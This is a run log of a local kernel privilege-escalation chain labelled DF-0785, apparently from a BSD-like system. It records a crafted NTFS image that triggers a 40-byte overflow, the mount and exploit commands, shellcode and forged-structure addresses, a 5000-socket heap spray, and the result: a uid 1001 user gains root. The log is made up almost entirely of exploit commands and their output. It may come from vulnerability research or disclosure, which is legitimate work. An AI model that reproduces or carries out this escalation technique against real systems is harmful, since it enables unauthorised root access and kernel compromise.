DF-0785 escalation chain — RUN 1 (GENERIC #0, INVARIANTS ON, with-src)
======================================================================
Trigger image: ntfs_chain.img (ir_size/blsize=704, va_datalen=744 => 40-byte overflow)
Mount (root, one-time, SYSCAP_RESTRICTEDROOT): mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt
Chain run as maxx (uid 1001):
  ./chain 150

[chain] pid=2218 uid=1001 euid=1001
[chain] shellcode @ 0x13371000 (157 B); forged protosw @ 0x13372800; forged port @ 0x13373000 (mp_putport->shellcode)
[chain] sprayed 5000 sockets (zone-34 / struct socket)
[chain] punched holes; 4000 live sockets remain
[chain] *** ROOT ACQUIRED *** uid=0 euid=0
uid=0(root) gid=0(root) groups=0(root)
after setresuid: uid=0(root) gid=0(wheel) groups=0(wheel)
CHAIN_SUCCESS_UID0

=> maxx (uid 1001) escalated to uid=0(root) on the default GENERIC kernel via a
   fully userspace chain (no kldload, no setuid-root helper, INVARIANTS ON).
   Guest went down afterward (post-exploitation collateral: corrupted sockets in
   zone-34 with forged so_port get touched by kernel cleanup / process exit), but
   the escalation was already demonstrated (id->root, setresuid succeeded).